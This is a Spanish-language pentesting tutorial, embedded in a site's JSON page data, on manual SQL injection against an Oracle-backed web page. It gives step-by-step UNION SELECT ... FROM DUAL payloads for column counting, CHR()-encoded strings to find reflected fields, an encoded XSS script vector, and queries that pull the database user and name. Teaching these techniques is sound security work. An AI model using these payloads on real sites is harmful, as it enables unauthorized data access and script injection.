[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$ftdYh_ihOkg0b01_XbCiP6sZH43M82vS5czPR1JZfk-Y":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":59,"related_specialty":79},"inyeccion-sql-oracle","Inyección SQL: Oracle","Este motor de base de datos tiene gran escalabilidad en relación a las empresas, por ende debido a su elevado precio este enfocado a entidades empresariales, sin embargo las inyecciones SQL no están exentas en dicho motor.",{"slug":8,"name":9},"auditoria-aplicaciones-web","Pentesting a Aplicaciones Web",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"saamux","Samuel Esteban","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbDRJIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6e60a39152819c1c857e0a1e157e99a5fe76ddf9\u002Fperfil.png","Senior Pentester","Actualmente me desempeño como Pentester...","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ2dPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9d57fa86ee5eceeb63634f495a99252fc28e175c\u002Fshutterstock_1047327616_(1).jpg","2016-09-06T23:52:20-03:00","2026-10-26T18:17:33-03:00","\u003Cp>En esta oportunidad nos enfocaremos en la inyección SQL hacia Oracle. Este motor de base de datos tiene gran escalabilidad en relación a las empresas, por ende debido a su elevado precio este enfocado a entidades empresariales, sin embargo las inyecciones SQL no están exentas en dicho motor.\u003C\u002Fp>\r\n\u003Cp>Tenemos el siguiente escenario:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FLsJXamLrmd46txfGG7oUkorhwYSStIhFIx1kUNL1TWhCcu5o5eiXkvtCSmQ0lT_w5JMRAQY3ZelqkJU1wb51_CdXgv2DXreE0AOLUTEafgKGCdmUPIy4tk9EDClX0uaz5-AALnmUpb15qo7ukw\" width=\"589\" height=\"231\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL - Oracle\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Si al input del sitio web le añadimos una comilla simple, se obtiene lo siguiente:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FEolreLAEudWYwX2YugkEnGnOV4zCX1xopbu6eiHoYsK4kRA3Il05Q8GY-Q_KvTQjrp2lC9x_mbiZOEfl3S10X7zLUg4sQCW_IeeeoQXHCdJhCKY8_lfKk_Q77WmKP74c3-_bLrL_vmFmNUhmJA\" width=\"589\" height=\"182\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Oracle, input vulnerable\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Aparentemente, esta aplicación es vulnerable a una inyección SQL. Como podemos observar, el mensaje de error que devuelve nos entra un error de tipo \u003Cem>\u003Cstrong>ORA-01756\u003C\u002Fstrong>\u003C\u002Fem>, este error corresponde al motor de base de datos de Oracle, por ende nos podemos dar cuenta de que esta inyección esta enfocada netamente a dicho motor. La forma de realizar una inyección SQL es un poco distinta  en relación a los motores de base de datos que vimos con anterioridad. Intentaremos realiza una inyección.\u003C\u002Fp>\r\n\u003Cp>Estructura de inyección SQL en Oracle:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT 1,2,3 FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>Si no también\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT NULL,NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>En este tipo de inyecciones se recomienda utilizar valores nulos (NULL) ya que a veces es posible encontrarse con problemas de tipos de datos cuando se desea realizar una inyección, y de esta forma se evitan dichos problemas, además se utiliza la sentencia FROM DUAL. DUAL es una tabla comodín que se crea de forma automática al momento de instalar la Base de Datos Oracle, esta tabla tiene un solo campo y un solo registro. Esta tabla DUAL se puede usar para realizar operaciones matemáticas, crear filas virtuales, asignar valores, obtener secuencias, utilizar funciones, etc, a través de ella realizaremos ciertas consultas a la base de datos principal.\u003C\u002Fp>\r\n\u003Cp>Inyección SQL en marcha:\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FGu5IxNf7LwlZBKTGzNVvrkoHyX5NELjBaX7-5mkOzPCyBQ_iiQCczuXR_i3Z4cF4x6LW-S2VwpTgIlhRSobRg2KFcENH7B-kZNTO3NfYt8scDf4xk8_BTmjVYkY4P0dBjp9Y5D83sHkFzjg_Kw\" width=\"589\" height=\"140\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Oracle, inyectando campos (1)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>A medida que vamos agregando un nuevo valor NULL a la inyección, nos aparece un error SQL que indica que la consulta realizada tiene una cantidad incorrecta de columnas, esto es muy útil ya que seguramente cuando lleguemos a la cantidad indicada de columnas, no nos debería aparecer dicho error, actualemente llevamos inyectado  una cantidad de 8 columnas, sigamos con la inyección.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FRdnjEVGM8n7hIEIRi6sKFz2ytTzoYci9WEn7Evq2Kj5pMWKeOO3MYP4D_2u5JK5rSmPbkyCq7kD-FFMUGkFWAINjtlXy1uS6waTtkj-tkuBa6UfIir_GOPS1M_21TnfYAOSEX0u33bFEqVFi_A\" width=\"589\" height=\"139\"> \u003Cem>Inyección SQL – Oracle, inyectando campos (2)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>En el campo número 11, nos aparece un error distinto, el cual indica que la sentencia SQL no se finalizó correctamente, esto aparentemente nos está indicando que hemos logrado detectar la cantidad de columnas, para estar seguros, probaremos agregando otro valor de tipo NULL para que ver que nos retorna.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FVBiKFaIpx9BdWGzMgZa8LAo6l9ndBcodKkT-qS1QuovSa_wI7Sy7KS3kvIMTiOABPxy3rzhZqTAvV4iVb73C03piauvYt5p6ITNoRrJO4aI6UkUlKKgNInXj2PqW0ztEC-A88zIxvWqXXvxvvQ\" width=\"589\" height=\"141\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Oracle, inyectando campos (3)\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>En la columna número 12 nos devuelve el mismo mensaje de error que en la columna número 8, por ende podemos concluir que el campo número 11 corresponde a la cantidad de columnas de la BD. A continuación debemos verificar que campo(s) es(son) inyectable(s), para posteriormente poder realizar las consultas SQL pertinentes, para ello debemos verificar que campo es de tipo string (ya que en los campos de tipo string es posible llevar a cabo una inyección SQL). Para realizar esta prueba realizaremos lo siguiente:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>Cada uno de los campos NULL será reemplazado por un valor de tipo string (ejemplo: ‘hola mundo’), si el valor agregado es visualizado en el sitio web, esto nos indicará que dicho campo es de tipo string.\u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT ‘hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>El valor no es de tipo String\u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT NULL,’hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>El valor no es de tipo String\u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT NULL,NULL,’hola mundo’,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>El valor no es de tipo String\u003C\u002Fp>\r\n\u003Cp>Al realizar este proceso con los 11 campos, no fue posible detectar ningún campo de tipo string. Sin embargo cabe resaltar que Oracle tiene la particularidad de interpretar datos de tipo string encodeados en forma CHAR. Como vimos en la inyección SQL de Postgresql, en un momento tuvimos que encodear un string en formato CHAR. Lo mismo podemos hacer en este caso para probar si el campo  interpreta nuestro CHAR y permite visualizar dicho valor. Para ello realizaremos la conversión con el sitio web que fue mencionado en el documento anterior:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fwww.waraxe.us\u002Fsql-char-encoder.html\">http:\u002F\u002Fwww.waraxe.us\u002Fsql-char-encoder.html\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cdiv>\r\n\u003Ctable>\r\n\u003Ctbody>\r\n\u003Ctr>\r\n\u003Ctd>\r\n\u003Cp>Valor\u003C\u002Fp>\r\n\u003C\u002Ftd>\r\n\u003Ctd>\r\n\u003Cp>Valor en formato CHAR de Oracle\u003C\u002Fp>\r\n\u003C\u002Ftd>\r\n\u003C\u002Ftr>\r\n\u003Ctr>\r\n\u003Ctd>\r\n\u003Cp>hola mundo\u003C\u002Fp>\r\n\u003C\u002Ftd>\r\n\u003Ctd>\r\n\u003Cp>CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111)\u003C\u002Fp>\r\n\u003C\u002Ftd>\r\n\u003C\u002Ftr>\r\n\u003C\u002Ftbody>\r\n\u003C\u002Ftable>\r\n\u003C\u002Fdiv>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>A continuación realizaremos el mismo paso anterior pero en vez de utilizar el valor ‘hola mundo’, utilizaremos el valor encodeado.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>El valor no es de tipo String\u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT NULL, CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>El valor no es de tipo String\u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT NULL,NULL, CHR(104)||CHR(111)||CHR(108)||CHR(97)||CHR(32)||CHR(109)||CHR(117)||CHR(110)||CHR(100)||CHR(111),NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>El valor no es de tipo String\u003C\u002Fp>\r\n\u003Cp>En los primeros campos el valor no es de tipo string, sin embargo en los campos 6,7,8 y 9 nos devolvió el string dentro del sitio web, por lo tanto podemos deducir que en esos campos podemos llevar a cabo la inyección como tal.\u003C\u002Fp>\r\n\u003Cp>\u003Cbr>\u003Cbr>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FL2SAjiQ_aS1LVTMW_w0xvquuHutXIs-CVYN25mmvPezJuKBzEa2LMkHwqVq9pXuuzzrJyZkc64wYUx4le6gjDrDFthP-goI08INXAJcSBHdv_1a3_4Jnkn_if2ZzJcEwC16c2-NMHt9ltKQp3w\" width=\"589\" height=\"136\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>                             Inyección SQL – Oracle, obteniendo campos de tipo String, campo 6\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FPwytQMzcEsnvpBbWaPoqvC7EYmZu_tJB_Y1n0iuEZ_PqZU4M8EOELRKTXr2KDTZ1OD8n6jqxEBX9B21skYi6_Hx5MPS-Gxy0d4lN6Ybx4CBBujTEkT4R3-N46uiqWdydROadITpveFxgu9_MGQ\" width=\"589\" height=\"134\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Oracle, obteniendo campos de tipo String, campo 7\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Nos podemos percatar que es posible visualizar el valor “hola mundo” dentro del aplicativo web, por ende esto nos indica que en dichos campos podemos trabajar (lo mismo ocurre con los campos 8 y 9). También podemos verificar nuevamente que es posible realizar un Cross Site Scripting en dichos campos. Para esto encodeamos el siguiente vector de ataque:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>String\u003Cbr>\u003Cbr>&lt;script&gt;alert(“xss”)&lt;\u002Fscript&gt;\u003Cbr>\u003Cbr>Encoeado\u003Cbr>\u003Cbr>CHR(60)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)||CHR(97)||CHR(108)||CHR(101)||CHR(114)||CHR(116)||CHR(40)||CHR(34)||CHR(120)||CHR(115)||CHR(115)||CHR(34)||CHR(41)||CHR(60)||CHR(47)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)\u003C\u002Fpre>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT NULL,NULL, NULL,NULL,NULL, CHR(60)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62)||CHR(97)||CHR(108)||CHR(101)||CHR(114)||CHR(116)||CHR(40)||CHR(34)||CHR(120)||CHR(115)||CHR(115)||CHR(34)||CHR(41)||CHR(60)||CHR(47)||CHR(115)||CHR(99)||CHR(114)||CHR(105)||CHR(112)||CHR(116)||CHR(62),NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002Fe63LteLfL-7WxVPRaIk3g62hWYUUYz6WUjeYEf2-y-gm8sXtuh3Yd4T1g27b_qI2lADWOEZU3JUUM3Eje7VFqQbfIWEfgEiw-UP_NLCP0kHdbKlT5hbS9R5NsFoJLbtJtZR25LU-tbTv6K0Ujw\" width=\"589\" height=\"166\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Oracle, XSS presente\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Ahora procederemos a llevar a cabo la inyección para obtener información sensible, utilizaremos el campo número 6 para realizar esta prueba. Lo primero que haremos será obtener el usuario que se utiliza para administrar la base de datos Oracle (para realizar este proceso, no es necesario encodear las sentencias SQL).\u003C\u002Fp>\r\n\u003Cp>La sentencia para obtener el usuario del DBMS  (Sistema de Gestión de Base de Datos) Oracle es la siguiente:\u003C\u002Fp>\r\n\u003Cp>Select user From dual\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.sitioweboracle.com\u002Findex.php?id=3\">www.sitioweboracle.com\u002Findex.php?id=3\u003C\u002Fa> UNION SELECT NULL,NULL,NULL,NULL,NULL,user,NULL,NULL,NULL, NULL,NULL FROM DUAL --\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FK2m1gPabYNAQxWpZSH2VkUmCscWTGZEyecfDoB9bnjqX_Sk-Zac2OmoxT2GbF06FTKmdUU8Y5vtywvhBxqr8iLibJvmsfq41h2nDT8o_ntOqH5YqrWy6DGZmg4wDHLeYNbfvYkjzkzblfL1Scw\" width=\"589\" height=\"155\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Oracle, usuario del DBMS\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>El usuario del DBMS es INTERNET. Ahora detectaremos la base de datos conectada a la aplicación web, para ello utilizaremos la siguiente sentencia:\u003C\u002Fp>\r\n\u003Cp>Select SYS.DATABASE_NAME From dual\u003C\u002Fp>\r\n\u003Cp>\u003Cbr>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FVDRxZqwPbWgRwt7N3SP2MfqdN7inlY4TctBt9mofy44braHl8gvgZ-yb0KJTswmHr1Spaqz5LGTQLpYbLBWG-E_9BYl5yQZZpb5glsBEBZECdrw8KBfE7kMGnYPC4--drC27gcHP6jCNYiPNkw\" width=\"589\" height=\"134\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Inyección SQL – Oracle, base de datos conectada al aplicativo web\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Este tutorial ayudó a comprender como funciona la inyección SQL en Oracle de manera manual, si deseas indagar sobre más vectores de ataque para esta inyección te dejo a continuación el siguiente link:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fpentestmonkey.net\u002Fcheat-sheet\u002Fsql-injection\u002Foracle-sql-injection-cheat-sheet\">http:\u002F\u002Fpentestmonkey.net\u002Fcheat-sheet\u002Fsql-injection\u002Foracle-sql-injection-cheat-sheet\u003C\u002Fa>\u003C\u002Fp>","oracle, inyeccion sql",6,[23,35,47],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"sqlmap-ejemplo-con-metasploitable2","Sqlmap - ejemplo con metasploitable2","Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdjRPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--514529c30f11596b49003fc5bd68b363e922629b\u002Fshutterstock_1085444453.jpg","2020-09-23T14:04:11-03:00","2026-10-26T11:01:19-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":44,"image_thumb_url":44,"published_at":45,"updated_at":46},"portainer-gestor-web-para-docker","Portainer es una herramienta web open-source: Gestor Web para Docker","En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.",{"slug":8,"name":9},{"username":41,"name":42,"avatar_url":43},"damch","Javier Candia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9KIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--036416498d87c59fa3f0ac1f5e0a08336b65faf5\u002Fdescarga.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdnNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--f33dca4def55d322137830da440c14fbc9abbd47\u002Fshutterstock_721673605.jpg","2020-08-31T12:17:41-04:00","2026-10-26T12:22:47-03:00",{"slug":48,"title":49,"summary":50,"category":51,"author":52,"image_url":56,"image_thumb_url":56,"published_at":57,"updated_at":58},"evillimiter","Evil Limiter","Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.",{"slug":8,"name":9},{"username":53,"name":54,"avatar_url":55},"Erik172","Erik Garcia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBc1lSIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e703ff6245d2a783835ef18906375a5246ad1b84\u002Fgorickyourself.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdXdPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--79934810f6a5f794a404634540a7b200a27853e6\u002Fshutterstock_179770802.jpg","2020-05-12T14:50:51-04:00","2026-10-26T14:37:08-03:00",{"slug":60,"title":61,"summary":62,"level":63,"specialty":64,"category":67,"instructor":68,"image_url":72,"image_thumb_url":72,"duration_seconds":73,"lessons_count":74,"students_count":75,"is_free":76,"coming_soon":77,"updated_at":78},"retos-hacking-web","Retos Hacking Web","Aprende técnicas de Web Hacking con laboratorios reales las 24 horas.","Basicos",{"slug":65,"name":66},"web-application-testing-wat","Web Application Testing",{"slug":8,"name":9},{"username":69,"name":70,"avatar_url":71},"Rodolfo","Rodolfo Cecena","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBanNGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2097f10306a2b3955ed91f935c2c204cee999900\u002Frodolfo.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzhOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2cf209dab21946647599db6af552f4c7be69a077\u002FRETOS-HACKING-01.png",9027,20,38321,true,false,"2025-02-15T00:31:58-03:00",{"slug":65,"name":66,"summary":80,"level":81,"courses_count":82,"total_duration_seconds":83,"is_free":77,"image_url":84,"icon_url":85,"wallpaper_url":86,"updated_at":87},"Las aplicaciones web son las solicitadas por el mercado, una mala configuración o práctica puede comprometer una página web y dejarla expuesta a ataques como una inyección sql, la mayoría de páginas web están creadas…","Avanzado",12,148188,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaVVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3da0fc1100f4cbea608297447bf7820177f5603b\u002FWeb-Aplication-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaXNQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--72bafcc13a30961fa0d390b3685b3450726cdf5a\u002FWeb-Aplication-Testing.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBakVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e43f452a65e4221aa712798b9da4c14461c4bf8d\u002FWeb-Aplication-Testing-02.png","2021-05-17T15:38:02-04:00"]